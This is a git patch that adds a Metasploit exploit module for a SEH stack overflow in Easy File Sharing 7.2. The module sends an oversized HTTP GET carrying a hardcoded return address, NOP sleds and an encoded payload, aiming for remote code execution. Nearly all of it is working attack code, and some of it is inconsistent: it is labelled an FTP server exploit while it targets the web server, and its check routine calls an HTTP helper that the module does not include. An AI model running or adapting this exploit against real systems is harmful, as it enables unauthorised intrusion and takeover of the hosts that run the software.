From 45c88d31897e7cd060a998882cb5962e55e78df4 Mon Sep 17 00:00:00 2001 From: Starwarsfan2099 Date: Fri, 22 Jan 2016 13:04:03 -0500 Subject: [PATCH] Create easyfilesharing_seh.rb --- .../windows/http/easyfilesharing_seh.rb | 77 +++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 modules/exploits/windows/http/easyfilesharing_seh.rb diff --git a/modules/exploits/windows/http/easyfilesharing_seh.rb b/modules/exploits/windows/http/easyfilesharing_seh.rb new file mode 100644 index 0000000000..0b0df415b2 --- /dev/null +++ b/modules/exploits/windows/http/easyfilesharing_seh.rb @@ -0,0 +1,77 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + Rank = AverageRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Easy File Sharing FTP Server 7.2 SEH Overflow', + 'Description' => %q{ + This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software. + }, + 'Author' => 'Starwarsfan2099 ', + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://www.exploit-db.com/exploits/39008/' ], + ], + 'Privileged' => true, + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Payload' => + { + 'Space' => 390, + 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows Universal', { 'Ret' => 0x10019798 } ], + ], + 'DisclosureDate' => 'December 2, 2015', + 'DefaultTarget' => 0)) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/') + }) + if res.to_s.include?('Server: Easy File Sharing Web Server v7.2') + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Unknown + end + end + + def exploit + connect + print_status("Generating Shell Code") + sploit = "GET " + sploit << rand_text_alpha_upper(4061) + print_status("Generating Short jump") + sploit << generate_seh_record(target.ret) + sploit << make_nops(19) + sploit << payload.encoded + sploit << make_nops(7) + print_status("Buffer length is: #{4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20}") + sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20) + sploit << " HTTP/1.0\r\n\r\n" + sock.put(sploit) + print_good("Exploit Sent") + handler + disconnect + end +end